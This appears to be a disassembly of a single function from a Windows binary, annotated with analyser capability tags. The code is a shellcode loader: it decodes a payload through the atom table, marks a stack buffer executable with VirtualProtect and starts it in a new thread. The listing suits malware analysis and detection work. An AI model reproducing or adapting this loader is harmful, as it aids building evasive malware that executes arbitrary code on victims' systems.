Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x36d0]
mov eax, 0x37d0
call fcn.1400026c0
sub rsp, rax
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x36c0], rax
xor ebx, ebx
mov r8, rcx
mov edx, 0x1b58
lea rcx, [rbp]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], rbx
lea rax, [rbp]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], bl
jne 0x1400012a0
lea rdx, [rbp]
lea rcx, [rsp + 0x68]
call fcn.140001630
nop
mov r15d, ebx
mov r14d, ebx
lea r12, [rbp + 0x1b60]
lea rsi, [rbp]
nop dword [rax]
cmp byte [rsi], 0
je 0x1400013ee
movsxd rdx, r15d
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov rcx, qword [rsp + 0x78]
cmp rcx, rdx
jb 0x14000150e
lea eax, [r15 + 4]
mov r15d, eax
movsxd r8, eax
sub rcx, rdx
cmp rcx, r8
cmovb r8, rcx
lea rax, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rax, qword [rsp + 0x68]
add rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001630
nop
mov rax, qword [rsp + 0x58]
cmp rax, 4
jb 0x140001490
mov r8d, 4
cmovb r8, rax
lea rdx, [rsp + 0x48]
mov r13, qword [rsp + 0x60]
cmp r13, 0x10
setae bl
mov rdi, qword [rsp + 0x48]
cmovae rdx, rdi
lea rcx, [rbp - 0x78]
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov r8d, 0x32
lea rdx, [rbp - 0x40]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
sub eax, 0x400
btc eax, 0xa
mov byte [r12], al
inc r12
test bl, bl
je 0x1400013d6
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400013ce
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400014c8
mov rcx, rdi
call fcn.140001a38
inc r14d
inc rsi
cmp r14d, 0x1b58
mov ebx, 0
jb 0x1400012d0
lea r9, [rsp + 0x40]
mov edx, 0x1b58
mov r8d, 0x40
lea rcx, [rbp + 0x1b60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1b60]
mov qword [rsp + 0x20], rax
lea r9, [0x140001210]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [0x1400066c8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400014de
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400013ee
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a38
jmp 0x1400013ee
call fcn.140001a38
mov rcx, qword [rbp + 0x36c0]
xor rcx, rsp
call fcn.140001740
lea r11, [rsp + 0x37d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001610
nop
int3